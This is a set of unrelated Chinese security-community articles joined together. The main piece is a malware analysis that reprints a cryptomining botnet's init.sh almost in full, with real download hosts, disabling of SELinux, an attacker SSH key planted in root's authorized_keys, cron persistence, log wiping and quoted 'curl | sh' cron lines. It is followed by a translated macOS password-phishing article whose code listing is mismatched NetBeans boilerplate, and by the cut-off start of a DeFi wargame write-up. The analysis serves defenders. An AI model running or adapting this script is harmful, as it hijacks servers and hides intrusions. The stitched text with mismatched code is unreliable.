<http://185.181.10.234/E5DB0E07C3D7BE80V520/init.sh>
**sysupdate** 负责挖矿
地址：
<http://185.181.10.234/E5DB0E07C3D7BE80V520/sysupdate>
md5：
149c79bf71a54ec41f6793819682f790
**networkservice** 负责入侵扩散
地址：
<http://185.181.10.234/E5DB0E07C3D7BE80V520/networkservice>
md5：8e9957b496a745f5db09b0f963eba74e
**sysguard** 用于监控并保证病毒的正常运行以及更新，并保证他们以 root 权限运行。
地址：
http://185.181.10.234/E5DB0E07C3D7BE80V520/sysguard
md5：c31038f977f766eeba8415f3ba2c242c
**最早发现**
这个挖矿病毒最早在2019年6月13日由安天蜜网捕获。
不过攻击手段有所不同，安天所捕获的样本是：
> 攻击者通过一段包含恶意链接的json脚本，
> 利用CVE-2015-1427(ElasticSearch Groovy) 远程命令执行漏洞，
> 使受害主机下载并执行init.sh恶意脚本。
由安天发布的 **init.sh** 脚本内容来看，和目前我获取的 **init.sh** 脚本文件内容相似。
不过从网站的最后修改时间来看，还是有改动，后面分析应该是对 **update.sh** 里的函数进行的增加。
在攻击者的这套挖矿流程中， **init.sh** 这个恶意脚本是非常关键的，因为这个shell脚本负责整体的 **调度和执行**
，所以分析出这个脚本的具体执行情况，对于了解挖矿病毒的行为模式是非常有用的。
对于 **init.sh** 这个shell脚本，我查看了网站上这个文件的修改时间发现：
~~（被水印挡住了qaq）~~
最后一次的修改时间是 **2020年3月8号** 。
与 **update.sh** 、 **config.json** 、 **sysupdate** 修改时间一致。
说明近期挖矿病毒的团队仍在为 ~~挖矿大业而努力奋斗~~ ，让人不禁为他们的“ ~~坚持努力~~ ”而感动，我想他们的“ ~~努力~~
”，或许就是我们这些正道安全从业者的动力吧。
## 0x03 作风“严谨”的恶意脚本
这个部分之前有很多前辈已经分析过了，写的也很专业，不过分析的版本都早于这个20_3_8的版本，其后内容有所改动，值得再来分析一下。
不过我作为安全届的小学生，对shell脚本掌握的不多，所以一边分析文件，也是一边学习。
分析过程可能会有些错误之处，望各位大牛多多斧正orz。
**init.sh** 和 **update.sh** 是完全一致的。
所以分析一个就行了。
### **1、组成情况：**
### **2、预处理部分：**
> 预处理部分包括了攻击者对在受害主机上进行挖矿事业的前期准备，其中包括：
**关闭SELinux子系统：**
setenforce 0 2>dev/null
echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null
SELinux(Security-Enhanced Linux) 是linux上的一个安全子系统，
如果想做坏事肯定要先关掉的好，所有攻击者对它的做法是：有则关闭，无则试试。
**手工回收cache，释放内存：**
sync && echo 3 >/proc/sys/vm/drop_caches
攻击者仿佛在说： ~~爷要干大事了，你给爷腾点地方~~ 。
**在/etc 下生成一个名为sysupdates的文件，并写入1：**
echo 1 > /etc/sysupdates
这个文件是作为标志来用的，后续有用
**重命名网络传输工具，扰乱使用者/程序的使用：**
mv /usr/bin/wget /usr/bin/get
mv /usr/bin/xget /usr/bin/get
mv /usr/bin/get /usr/bin/wge
mv /usr/bin/curl /usr/bin/url
mv /usr/bin/xurl /usr/bin/url
mv /usr/bin/url /usr/bin/cur
> 一通操作，总之就是，我自己好用就行，你们就别用了。
> 后续我见到一些恶意脚本会检测当前主机有没有该程序，如果没有，它会勤劳的帮你安装一个。
> yum，apt-get都用上，保证安装成功。qaq
**配置url：**
> 这部分是攻击者搞事情的关键部分，毕竟工具什么都都需要下载。
miner_url="https://de.gsearch.com.de/api/sysupdate"
miner_url_backup="http://185.181.10.234/E5DB0E07C3D7BE80V520/sysupdate"
miner_size="1102480"
sh_url="https://de.gsearch.com.de/api/update.sh"
sh_url_backup="http://185.181.10.234/E5DB0E07C3D7BE80V520/update.sh"
config_url="https://de.gsearch.com.de/api/config.json"
config_url_backup="http://185.181.10.234/E5DB0E07C3D7BE80V520/config.json"
config_size="3356"
scan_url="https://de.gsearch.com.de/api/networkservice"
scan_url_backup="http://185.181.10.234/E5DB0E07C3D7BE80V520/networkservice"
scan_size="2584072"
watchdog_url="https://de.gsearch.com.de/api/sysguard"
watchdog_url_backup="http://185.181.10.234/E5DB0E07C3D7BE80V520/sysguard"
watchdog_size="1929480"
**配置参数：**
> **rtdir** 这个参数后面会有用到，别的配置则是秉持：虽然让别人不好用，但我依然好用的原则。
rtdir="/etc/sysupdates"
bbdir="/usr/bin/curl"
bbdira="/usr/bin/cur"
ccdir="/usr/bin/wget"
ccdira="/usr/bin/wge"
### **3、函数部分：**
~~（注释半吐槽）~~
**kill_miner_proc()：**
> 字面理解，干掉别人矿工的函数qaq
主要内容：
ps auxf|grep kinsing| awk '{print $2}'|xargs kill -9
ps auxf|grep kdevtmpfsi| awk '{print $2}'|xargs kill -9
#略一部分格式相同的
ps ax|grep var|grep lib|grep jenkins|grep -v httpPort|grep -v headless|grep "-c"|xargs kill -9
ps ax|grep -o './[0-9]* -c'| xargs pkill -f
#略一部分格式相同的
ps aux | grep -v grep | grep 'kdevtmpfsi' | awk '{print $2}' | xargs -I % kill -9 %
#略一部分格式相同的
pkill -f biosetjenkins
pkill -f Loopback
#还休息一会，劳逸结合
sleep 1
netstat -anp | grep 185.71.65.238 | awk '{print $7}' | awk -F'[/]' '{print $1}' | xargs -I % kill -9 %
netstat -anp | grep :2222 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
#略一部分格式相同的
pgrep -f monerohash | xargs -I % kill -9 %
#接下来开始干掉别人的文件，
#如果是自己的也无所谓，
#反正后面还要下回来。
rm -rf /usr/bin/config.json
#略一部分格式相同的
#解锁
chattr -i /etc/ld.so.preload
#略一部分格式相同的
#修改权限，然后删除
chmod +700 /tmp/lok
rm -rf /tmp/lok
#略一部分格式相同的
# 解锁，然后给你写成1
chattr -i /tmp/kdevtmpfsi
echo 1 > /tmp/kdevtmpfsi
#解锁，写1，加锁
chattr -i /usr/lib/systemd/systemd-update-daily
echo 1 > /usr/lib/systemd/systemd-update-daily
chattr +i /usr/lib/systemd/systemd-update-daily
#再歇一会，太辛苦了
sleep 1
#不仅要停止你，还有让你不能自已（启）
service apparmor stop
systemctl disable apparmor
#略一部分格式相同的
# 解锁定时任务，然后清空
chattr -i /etc/crontab
crontab -r
#怕你有隐藏的的程序，
#现下一个软件
#来发现你，然后干掉你
#属实冰冷无情
apt-get install -y unhide
yum install -y unhide
sleep 1
dddir="/usr/sbin/unhide"
$dddir quick |grep PID:|awk '{print $4}'|xargs -I % kill -9 % 2>/dev/null
这个函数最长，里面的kill命令乱糟糟，可以看出是不断后续添加的，就是为了跟“同行”争夺矿机，也是蛮卖力气的。
毕竟同行竞争太激烈了，写这篇文章的时候，后面我就遇到了另一伙人席卷而来，暂时覆盖掉了这一伙。
**downloads()**
> 下载函数，负责更新shell脚本和病毒程序
> 有三个参数分别对应 **主链接** 、 **文件** 和 **备用链接**
#此处判断的是对应网络下载工具是否还在，分别判断curl、cur、wget、wge
#只要有一个能用就行
if [ -f "/usr/bin/curl" ]
then
echo $1,$2
# -I 显示请求头，-m 设置最大传输时间 -0 写入文件 -s 静默不输出
# -w %{} 以指定格式输出，获取响应码；
http_code=`curl -I -m 10 -o /dev/null -s -w %{http_code} $1`
# 如果响应码是200/405，就都正常访问，并把获取的文件写入到参数2就是update.sh
if [ "$http_code" -eq "200" ]
then
curl --connect-timeout 10 --retry 100 $1 > $2
elif [ "$http_code" -eq "405" ]
then
curl --connect-timeout 10 --retry 100 $1 > $2
else
#如果主链接超时了就启用备用链接
curl --connect-timeout 10 --retry 100 $3 > $2
fi
# 秉持着如果这个不能用，那我就换一个，真是严谨。
elif [ -f "/usr/bin/cur" ]
then
http_code = `cur -I -m 10 -o /dev/null -s -w %{http_code} $1`
if [ "$http_code" -eq "200" ]
then
cur --connect-timeout 10 --retry 100 $1 > $2
elif [ "$http_code" -eq "405" ]
then
cur --connect-timeout 10 --retry 100 $1 > $2
else
cur --connect-timeout 10 --retry 100 $3 > $2
fi
#其实检测wget和wge是为了应对不同的权限，
#因为如果没有root权限，还是没法修改wget为wge的
#严谨这方面， 阿矿有点严谨。
elif [ -f "/usr/bin/wget" ]
then
wget --timeout=10 --tries=100 -O $2 $1
if [ $? -ne 0 ]
then
wget --timeout=10 --tries=100 -O $2 $3
fi
elif [ -f "/usr/bin/wge" ]
then
wge --timeout=10 --tries=100 -O $2 $1
if [ $? -eq 0 ]
then
wge --timeout=10 --tries=100 -O $2 $3
fi
fi
**kill_sus_proc()**
> 干掉不需要的程序，以提高挖矿效率。
#按行读取pid，依次对应是不是自己的程序
#sysguard|update.sh|sysupdate|networkservice
#不是就kill -9强制干掉
#u1s1，有点霸道
ps axf -o "pid"|while read procid
do
ls -l /proc/$procid/exe | grep /tmp
if [ $? -ne 1 ]
then
cat /proc/$procid/cmdline| grep -a -E "sysguard|update.sh|sysupdate|networkservice"
if [ $? -ne 0 ]
then
kill -9 $procid
else
echo "don't kill"
fi
fi
done
#列出cpu占用率超过40%的程序pid，
#然后把不是自己人的统统杀掉
#u1s1，正经程序谁成天占用40%，qaq
ps axf -o "pid %cpu" | awk '{if($2>=40.0) print $1}' | while read procid
do
cat /proc/$procid/cmdline| grep -a -E "sysguard|update.sh|sysupdate|networkservice"
if [ $? -ne 0 ]
then
kill -9 $procid
else
echo "don't kill"
fi
done
虽然在你的地盘，但是得听我的，大爷用不上你，就kill你。
~~属实冷酷无情。~~
**lock_cron()**
> 加锁函数，用于给执行计划和执行计划任务程序加锁。
> chattr -R 递归处理指定目录及子目录下所有文件文件
> /var/spool/cron/这个目录是以账号来区分每个用户自己的执行计划
> /etc/crontab系统执行计划
chattr -R +i /var/spool/cron
chattr +i /etc/crontab
**unlock_cron()**
> 对应解锁函数。
chattr -R -i /var/spool/cron
chattr -i /etc/crontab
这两个函数没啥说的，就是把两行的事浓缩成一行
~~“节能减排，避免铺张浪费，阿矿真节约。”~~
### **4、主要程序逻辑**
> 这部分由一个复杂的判断逻辑构成，主要应对各种环境，以实现挖矿事业。
if [ -f "$rtdir" ]
then
echo "i am root"
echo "goto 1" >> /etc/sysupdates
chattr -i /etc/sysupdate*
chattr -i /etc/config.json*
chattr -i /etc/update.sh*
chattr -i /root/.ssh/authorized_keys*
chattr -i /etc/networkservice
#设置计划任务，每三十分钟执行一次update.sh,以便跟上组织的步伐，及时调整战术措施qaq
if [ ! -f "/usr/bin/crontab" ]
then
unlock_cron
echo "*/30 * * * * sh /etc/update.sh >/dev/null 2>&1" >> ${crondir}
lock_cron
else
unlock_cron
[[ $cont =~ "update.sh" ]] || (crontab -l ; echo "*/30 * * * * sh /etc/update.sh >/dev/null 2>&1") | crontab - lock_cron
fi
# 读写执行权限
chmod 700 /root/.ssh/
# 换个行
echo >> /root/.ssh/authorized_keys
# 读写执行权限
chmod 600 root/.ssh/authorized_keys
# 追写ssh秘钥
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9WKiJ7yQ6HcafmwzDMv1RKxPdJI/oeXUWDNW1MrWiQNvKeSeSSdZ6NaYVqfSJgXUSgiQbktTo8Fhv43R9FWDvVhSrwPoFBz9SAfgO06jc0M2kGVNS9J2sLJdUB9u1KxY5IOzqG4QTgZ6LP2UUWLG7TGMpkbK7z6G8HAZx7u3l5+Vc82dKtI0zb/ohYSBb7pK/2QFeVa22L+4IDrEXmlv3mOvyH5DwCh3HcHjtDPrAhFqGVyFZBsRZbQVlrPfsxXH2bOLc1PMrK1oG8dyk8gY8m4iZfr9ZDGxs4gAqdWtBQNIN8cvz4SI+Jv9fvayMH7f+Kl2yXiHN5oD9BVTkdIWX root@u17" >> /root/.ssh/authorized_keys
# 莫名的赋值，不解
cfg="/etc/config.json"
file="/etc/sysupdate"
# 检查有没有config.json,如果有则检查是否是自己人,不是就杀掉,换成自己人;
# 如果不存在就重新下载
if [-f "/etc/config.json" ]
then
filesize_config=`ls -l /etc/config.json | awk '{ print $5 }'`
#如果大小跟预设的不一致，就清洗一下sysupdate,删掉现有的config.json ，重新获取
if [ "$filesize_config" -ne "$config_size" ]
then
pkill -f sysupdate
rm /etc/config.json
downloads $config_url /etc/config.json $config_url_backup
else
echo "no need download"
fi
else
downloads $config_url /etc/config.json $config_url_backup
fi
# 检查有没有sysupdate,如果有则检查是否是自己人,不是就杀掉,换成自己人，以免自己的努力给敌人做了嫁衣;
# 如果不存在就重新下载
if [ -f "/etc/sysupdate" ]
then #此处是filesize1
filesize1=`ls -l /etc/sysupdate | awk '{ print $5 }'`
if [ "$filesize1" -ne "$miner_size" ]
then
pkill -f sysupdate
rm /etc/sysupdate
downloads $miner_url /etc/sysupdate $miner_url_backup
else
echo "not need download"
fi
else
downloads $miner_url /etc/sysupdate $miner_url_backup
fi
# 原理跟上面一样,略
if [ -f "/etc/sysguard" ]
then
filesize1=`ls -l /etc/sysguard | awk '{ print $5 }'`
if [ "$filesize1" -ne "$watchdog_size" ]
then
pkill -f sysguard
rm /etc/sysguard
downloads $watchdog_url /etc/sysguard $watchdog_url_backup
else
echo "not need download"
fi
else
downloads $watchdog_url /etc/sysguard $watchdog_url_backup
fi
# 穿插一下，更新自己的执行脚本
downloads $sh_url /etc/update.sh $sh_url_backup
# 原理跟上面一样,略
if [ -f "/etc/networkservice" ]
then # 此处变成了filesize2 ，莫名其妙
filesize2=`ls -l /etc/networkservice | awk '{ print $5 }'`
if [ "$filesize2" -ne "$scan_size" ]
then
pkill -f networkservice
rm /etc/networkservice
downloads $scan_url /etc/networkservice $scan_url_backup
else
echo "not need download"
fi
else
downloads $scan_url /etc/networkservice $scan_url_backup
fi
# 所有用户都有读写执行权限，然后检测有没有执行，如果没执行，就睡5s，然后执行
chmod 777 /etc/sysupdate
ps -fe|grep sysupdate |grep -v grep
if [ $? -ne 0 ]
then
cd /etc
echo "not root runing"
sleep 5s
./sysupdate &
else
echo "root runing....."
fi
# 所有用户都有读写执行权限，然后检测有没有执行，如果没执行，就睡5s，
# 然后按优先级15 来执行，不知道为啥要按15来执行
chmod 777 /etc/networkservice
ps -fe|grep networkservice |grep -v grep
if [ $? -ne 0 ]
then
cd /etc
echo "not roots runing"
sleep 5s
nice ./networkservice 15 &
else
echo "roots runing....."
fi
# 此处类似，略
chmod 777 /etc/sysguard
ps -fe|grep sysguard |grep -v grep
if [ $? -ne 0 ]
then
echo "not tmps runing"
cd /etc
# 不知道此处为啥重复两遍
chmod 777 sysguard
sleep 5s
./sysguard &
else
echo "roots runing....."
fi
# 依次加锁
chmod 777 /etc/sysupdate
chattr +i /etc/sysupdate
chmod 777 /etc/networkservice
chattr +i /etc/networkservice
chmod 777 /etc/config.json
chattr +i /etc/config.json
chmod 777 /etc/update.sh
chattr +i /etc/update.sh
chmod 777 /root/.ssh/authorized_keys
chattr +i /root/.ssh/authorized_keys
else
# 如果不存在"/etc/sysupdates"介个文件，则在tmp里操作
echo "goto 1" > /tmp/sysupdates
chattr -i /tmp/sysupdate*
chattr -i /tmp/networkservice
chattr -i /tmp/config.json*
chattr -i /tmp/update.sh*
if [ ! -f "/usr/bin/crontab" ]
then
unlock_cron
echo "*/30 * * * * sh /tmp/update.sh >/dev/null 2>&1" >> ${crondir}
lock_cron
else
unlock_cron
[[ $cont =~ "update.sh" ]] || (crontab -l ; echo "*/30 * * * * sh /tmp/update.sh >/dev/null 2>&1") | crontab - lock_cron
fi
if [ -f "/tmp/config.json" ]
then
filesize1=`ls -l /tmp/config.json | awk '{ print $5 }'`
if [ "$filesize1" -ne "$config_size" ]
then
pkill -f sysupdate
rm /tmp/config.json
downloads $config_url /tmp/config.json $config_url_backup
else
echo "no need download"
fi
else
downloads $config_url /tmp/config.json $config_url_backup
fi
if [ -f "/tmp/sysupdate" ]
then
filesize1=`ls -l /tmp/sysupdate | awk '{ print $5 }'`
if [ "$filesize1" -ne "$miner_size" ]
then
pkill -f sysupdate
rm /tmp/sysupdate
downloads $miner_url /tmp/sysupdate $miner_url_backup
else
echo "no need download"
fi
else
downloads $miner_url /tmp/sysupdate $miner_url_backup
fi
if [ -f "/tmp/sysguard" ]
then
filesize1=`ls -l /tmp/sysguard | awk '{ print $5 }'`
if [ "$filesize1" -ne "$watchdog_size" ]
then
pkill -f sysguard
rm /tmp/sysguard
downloads $watchdog_url /tmp/sysguard $watchdog_url_backup
else
echo "not need download"
fi
else
downloads $watchdog_url /tmp/sysguard $watchdog_url_backup
fi
# 这个地方突然来了一句“我在这”，跟上面有root权限执行的时候，有些许的差别。
echo "i am here"
downloads $sh_url /tmp/update.sh $sh_url_backup
# 下面的流程除了目录换成/tmp,别的没啥改动
if [ -f "/tmp/networkservice" ]
then # 此处跟上面一样是filesize2，估计是原封复制
filesize2=`ls -l /tmp/networkservice | awk '{ print $5 }'`
if [ "$filesize2" -ne "$scan_size" ]
then
pkill -f networkservice
rm /tmp/networkservice
downloads $scan_url /tmp/networkservice $scan_url_backup
else
echo "no need download"
fi
else
downloads $scan_url /tmp/networkservice $scan_url_backup
fi
ps -fe|grep sysupdate |grep -v grep
if [ $? -ne 0 ]
then
echo "not tmp runing"
cd /tmp
chmod 777 sysupdate
sleep 5s
./sysupdate &
else
echo "tmp runing....."
fi
ps -fe|grep networkservice |grep -v grep
if [ $? -ne 0 ]
then
echo "not tmps runing"
cd /tmp
chmod 777 networkservice
sleep 5s
# 还是优先级15
nice ./networkservice 15 &
else
echo "tmps runing....."
fi
ps -fe|grep sysguard |grep -v grep
if [ $? -ne 0 ]
then
echo "not tmps runing"
cd /tmp
chmod 777 sysguard
sleep 5s
./sysguard &
else
echo "tmps runing....."
fi
# 同样的加锁
chmod 777 /tmp/sysupdate
chattr +i /tmp/sysupdate
chmod 777 /tmp/networkservice
chattr +i /tmp/networkservice
chmod 777 /tmp/sysguard
chattr +i /tmp/sysguard
chmod 777 /tmp/update.sh
chattr +i /tmp/update.sh
chmod 777 /tmp/config.json
chattr +i /tmp/config.json
fi
### **5、iptables配置：**
> 限定了指定output端口，和input ip，这个ip大有来头。
iptables -F
iptables -X
iptables -A OUTPUT -p tcp --dport 3333 -j DROP
iptables -A OUTPUT -p tcp --dport 5555 -j DROP
iptables -A OUTPUT -p tcp --dport 7777 -j DROP
iptables -A OUTPUT -p tcp --dport 9999 -j DROP
iptables -I INPUT -s 43.245.222.57 -j DROP
service iptables reload
### **6、善后工作，清除痕迹：**
#history记录执行过的命令，-c清除命令
history -c
#下面的就是把这些文件全部写成空，擦屁屁
echo > /var/spool/mail/root
echo > /var/log/wtmp
echo > /var/log/secure
echo > /root/.bash_history
通过上面的逐行解析，我们可以得知这个恶意shell脚本体现如下特征：
**1、逻辑严谨，考虑周全，努力适应各种复杂情况，保证挖矿大业的顺利进行。**
这个从上面复杂的逻辑判断就可以略知一二。孔子云：吾日三省吾身，
挖矿病毒云：隔半个点就检查一下自身是否完好；比孔子还勤勉。
~~毕竟搞“挖矿大业”是长期的，持久的，必须谨而慎之。~~
**2、手段冷酷行事无情，坚决不给宿主和同行活路。**
对于宿主，虽然我吃你的、用你的，但是我还要捶你、kill你。坚决不能让你妨碍影响我的挖矿事业，可谓“吃干抹净”正是如此；
对于同行，俗话说同行是冤家。此言不假，在恶意挖矿领域，这个现象更是十分的明显。
非著名相声演员郭德纲曾调侃，什么是大家，把同行熬死你就是大家。
对于挖矿事业，把同行们一一干掉，自己就是领头羊，业界先锋，独占鳌头。
上面函数部分，致力于干掉同行的函数，明显内容丰富，努力涵盖所有新来旧往的同行。
而且我在后面的追踪中，也发现了不同团伙对宿主服务器的辗转碾压，你来我去，十分热闹。
**3、专横独断，霸权主义。**
上面我们可以看到，该挖矿病毒，对“权利”之事抓的很紧，有点小权就时时刻刻卖弄小权；
而有大权(root)的，脑子坏了才会跟人民群众站在一边。
先进技术，带来霸权垄断，垄断资源，垄断权限；
你能做的只能是我让你做的，我不想让你做，那你就没有权利做。
~~似乎有点熟悉的味道。~~~
## 0x03 安全防范
这部分是老生常谈的，我一向认为绝大多数的安全问题都是人的疏漏。
但我们永远不能保证人不会疏漏，所以总会有安全问题，
但我们还是努力去减少这些疏漏，让世界更安全。
### **1、预防措施：**
1. 及时更新，及时打补丁；
2. 禁止使用弱口令密码； ~~(万恶)~~
3. 定期检查服务器异常，如CPU持续占用高、磁盘异常情况；
4. 尽量不要用高权限来运行服务器（ **root/system** ）
5. 不要把redis开放在危险ip，如果必须，则修改端口以及添加网络防火墙规则
### **2、修复建议：**
1. 断网、备份重要的 **crontab** ，关闭或删除定时任务： **systemctl stop crontab** 或 **rm -rf /etc/cron.d/*** ；
2. 锁定 **crontab** 中的恶意文件；
3. 查看并杀掉病毒进程：同时杀掉 **sysguard** 、 **networkservice** 、 **sysupdate** 三个进程；
4. 删除病毒相关文件；
## 0x04 后续
在我最开始验证未授权redis服务器时，其实有一个比较特别的另一个被挖矿的ip：
103.219.193.41
9d31系列（网址中包含b0cdc46f1337a7ed1bc4b27f08709d31，简称9d31）
**内容为：**
**Back1 到 4：**
基本内容为请求：
<http://d.powerofwish.com/pm.sh>
**backup1：**
*/2 * * * * cdl -fsSL http://teamtnt.red/franz/b0cdc46f1337a7ed1bc4b27f08709d31/init.sh | sh
**backup2:**
*/3 * * * * wget -q -O- http://teamtnt.red/franz/b0cdc46f1337a7ed1bc4b27f08709d31/init.sh | sh
**backup3:**
*/4 * * * * curl -fsSL http://kaiserfranz.cc/franz/b0cdc46f1337a7ed1bc4b27f08709d31/init.sh | sh
内容十分奇怪，似乎是不同的两伙人所为，
其中 **b0cdc46f1337a7ed1bc4b27f08709d31** 在网上也留下过踪迹：
不过另一组（ **powerofwish** ）却踪迹不多。
由于时间关系我并没有来得及分析和追踪这两个特别ip；
不过就在 **2020/4/18/20:00**
我惊奇的发现，前几个redis服务器，也改弦更张了：
跟 **103.*.*.41** 的 **back1-4** 里面的内容一样了，
同时， **103.*.*.41** 却连不上了。
在 **182.*.*.38** 中的db0中，我刚发现时都有5个key，
这里有一个关键key： **KV5o1dOO**
但当时我以为是攻击者的SSH秘钥，也没太注意。
不过我再意识到可能有问题的时候已经被删除了，没有留下具体信息。
只剩下了 **Back1-4** 。
这个地方告诉我们， **遇到什么奇奇怪怪的东西，一定要先保存，留下数据，说不定之后就有用了QAQ。**
后面我会继续追踪v520系列，把这个挖矿团伙冒泡的时间线整理出来；同时我会去追踪另外两伙奇怪的家伙。
（ **9d31** 和 **powerofwish** ）
希望他们能给我带来不一样的东西，毕竟他们的各种”姿势”都很丰富，总能让人耳目一新。
### **追加：**
**时间：2020/4/19/1:11**
**第一伙人又回来了,看来还是v520底蕴深厚呀。**
## 0x05 末语
在我敲这行字的时候，我发现我似乎忘了点什么，
还有人记得吗？
我好像已经忘了我最开始的目的是：
事情不知不觉就往奇怪的方向发展，我的那道大厂面试题还没有看完orz。
时间在奇怪的事情上悄咪咪过了三天，卑微阿闻一眼都没看那些网络安全基础知识以及学习诸多大厂留下的面试题；
虽然这三天也没有公司发来面试的邮件，艰难。
实习是不可能找到的了，只能去看看哪有空闲的电瓶了。
当我看到你的电瓶车时，就注定你要走路回家了。——窃·格瓦拉
~~（发文章的时候听说，周某签约，年薪千万QAQ）~~ | 社区文章 |
# 【技术分享】拦截密码用于提升OSX权限的分析
|
##### 译文声明
本文是翻译文章，文章来源：安全客
原文地址：<https://www.scriptjunkie.us/2016/09/intercepting-passwords-to-escalate-privileges-on-os-x/>
译文仅供参考，具体内容表达以及含义原文为准。
**前言**
几周前，Dropbox
的“黑客”委员会受到了广泛关注。安装Dropbox之后会要求用户输入管理员密码，然后它就会在以后的运行中为自己启用访问权限，就算用户禁用这些权限也无法阻止。尽管互联网用户对此表示了强烈的不满、Dropbox也十分无礼，但是它事实上并没有利用任何漏洞、也没有攻击任何安全保护；一旦用户交出了自己的管理员密码，这就意味着它可以为所欲为。
**不管你相不相信，这都是一个真实存在的安全问题！OSX上的Dropbox不是这样的，它不会询问用户密码，在用户更改管理员信息的时候它会直接获取密码。**
这是之前一篇文章《安全伪装游戏》的后续。那篇文章主要内容是现在主要的桌面操作系统是如何在默认有限权限情况下运行用户程序，以及操作系统需要某些特定权限运行特定程序时用户是如何提升权限的。虽然这足以让用户避免无意中破坏重要的保护措施，但是这些“安全”措施完全不够用来阻止黑客；在同一个登陆界面中未经授权的程序拥有足够的权限来检测、拦截、更改或控制权限提升过程。
**拦截用于升级OSX权限的密码分析**
上一次我利用命令行工具截获密码，这次我使用的是标准的OSX GUI，部分[
**源代码**](https://github.com/scriptjunkie/kcap) 如下：
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- You may freely edit this file. See commented blocks below for -->
+<!-- some examples of how to customize the build. -->
+<!-- (If you delete it and reopen the project it will be recreated.) -->
+<!-- By default, only the Clean and Build commands use this build script. -->
+<!-- Commands such as Run, Debug, and Test only use this build script if -->
+<!-- the Compile on Save feature is turned off for the project. -->
+<!-- You can turn off the Compile on Save (or Deploy on Save) setting -->
+<!-- in the project's Project Properties dialog box.-->
+<project name="kcap" default="default" basedir=".">
+ <description>Builds, tests, and runs the project kcap.</description>
+ <import file="nbproject/build-impl.xml"/>
+ <!-- +
+ There exist several targets which are by default empty and which can be
+ used for execution of your tasks. These targets are usually executed
+ before and after some main targets. They are:
+
+ -pre-init: called before initialization of project properties
+ -post-init: called after initialization of project properties
+ -pre-compile: called before javac compilation
+ -post-compile: called after javac compilation
+ -pre-compile-single: called before javac compilation of single file
+ -post-compile-single: called after javac compilation of single file
+ -pre-compile-test: called before javac compilation of JUnit tests
+ -post-compile-test: called after javac compilation of JUnit tests
+ -pre-compile-test-single: called before javac compilation of single JUnit test
+ -post-compile-test-single: called after javac compilation of single JUunit test
+ -pre-jar: called before JAR building
+ -post-jar: called after JAR building
+ -post-clean: called after cleaning build products
+
+ (Targets beginning with '-' are not intended to be called on their own.)
+
+ Example of inserting an obfuscator after compilation could look like this:
+
+ <target name="-post-compile">
+ <obfuscate>
+ <fileset dir="${build.classes.dir}"/>
+ </obfuscate>
+ </target>
+
+ For list of available properties check the imported
+ nbproject/build-impl.xml file.
+
+
+ Another way to customize the build is by overriding existing main targets.
+ The targets of interest are:
+
+ -init-macrodef-javac: defines macro for javac compilation
+ -init-macrodef-junit: defines macro for junit execution
+ -init-macrodef-debug: defines macro for class debugging
+ -init-macrodef-java: defines macro for class execution
+ -do-jar: JAR building
+ run: execution of project
+ -javadoc-build: Javadoc generation
+ test-report: JUnit report generation
+
+ An example of overriding the target for project execution could look like this:
+
+ <target name="run" depends="kcap-impl.jar">
+ <exec dir="bin" executable="launcher.exe">
+ <arg file="${dist.jar}"/>
+ </exec>
+ </target>
+
+ Notice that the overridden target depends on the jar target and not only on
+ the compile target as the regular run target does. Again, for a list of available
+ properties which you can use, check the target you are overriding in the
+ nbproject/build-impl.xml file.
+
+ -->
+</project>
**
**
**其余代码详见：** **<https://github.com/scriptjunkie/kcap>**
OSX试图通过阻断程序用于运行密码提示的非特权注入/调试过程来避免这种不安全事件的发生。它还通过击键记录功能添加了阻止非特权代码检测键盘，并且阻止程序弹出密码提示窗口。但是这些限制都很容易绕过。
程序只需要使用屏幕截图功能，并且以编程方式生成按键和鼠标内容，就可以在本地以图片方式打破OSX的这些努力。
相比于WINDOWS的UAC提示允许非特权进程进行交互并弹出窗口骗取密码，OSX的这个拦截十分简单。请看视频：
**骗取密码的工作原理：**
1、不断弹出窗口检测系统身份验证提示，直到用户做出回应；
2、对弹出窗口提示进行截屏；
3、关闭真实的身份验证提示；
4、创建一个克隆版本并在桌面显示；
5、在用户输入密码时保存密码；
6、再次打开原始的身份验证窗口；
7、将其移到屏幕以外；
8、将密码输入真实的身份验证；
9、将原始窗口移动回原始位置；
10、点击输入，将输入的密码发送到原始的身份验证窗口。
这些过程听起来似乎十分繁琐，但是实际情况是这些过程只要一瞬间就可以全部完成，甚至不会有人注意到。
可能会有吹毛求疵的人指出在运行这一程序的时候会创建一个空的停驻，所以这一攻击发生的时候是可以在角落看出有几个可疑像素的。但是我从来没有编写过任何OSX
GUI程序，只是花了几个小时时间在JAVA上编写了一个程序。如果写一个本地程序，应该可以同时达到这两点要求。
我在Macbook
Air上进行了测试，默认分辨率是1440*900，阻止绝大多数系统应用程序的密码输入提示。使用其他系统可能会出现一些偏差，所以如果想要在其他系统中进行测试，需要测试和修改一些偏移量。
如果苹果通过阻止未经授权程序进行交互“修复”了这一问题，这不算什么；未经授权的程序只要简单地修改启动系统设置应用程序的快捷方式，并让其启用程序的克隆版本，密码就又一次无处躲藏了。
普遍观点是当你输入密码时只是在一个时间点赋予一个命令一个特定权限。但是事实是，只要你曾经赋予黑客一个特权，他就可以在任何时间在你的账户中运行任何代码，并决定任何他们想要提升的特权。
阻止非特权桌面程序提升权限永远也不会成为一个真正有效的安全屏障。有效的做法就是用户将账户管理任务和日常任务分开管理，在使用管理员账户登录电子邮件的时候不要浏览互联网网页，登陆日常账户的时候不要输入自己的管理员密码。 | 社区文章 |
**作者：0x9k
本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！ 投稿邮箱：[email protected]**
## 前言
DeFi Hack是根据真实世界DeFi中出现的漏洞为模板，抽象而来的wargame。用以提高学习者挖掘、利用DeFi智能合约漏洞的技能[1]。
## May The Force Be With You
### 题目描述
本关目标是从MayTheForceBeWithYou合约中盗取所有的YODA token，难度三颗星。
### 合约代码分析
YODA token是自实现的ERC20，自己实现了transfer方法。
**其自实现的doTransfer方法在token数量不足的情况下，并没有revert，而仅仅只是返回false。**
### 攻击
图1-1 攻击前合约余额
图1-2 攻击步骤
### 真实场景
<https://blog.forcedao.com/xforce-exploit-post-mortem-7fa9dcba2ac3>
## DiscoLP
### 题目描述
本关基于Uniswap2实现了一个自己的流动性池DiscoLP(流动性token为DISCO)，配对了JIMBO和JAMBO两种token。初始时给定player
1JIMBO和1JAMBO，期望用户获得100流动性token DISCO。难度七颗星。
### 合约代码分析
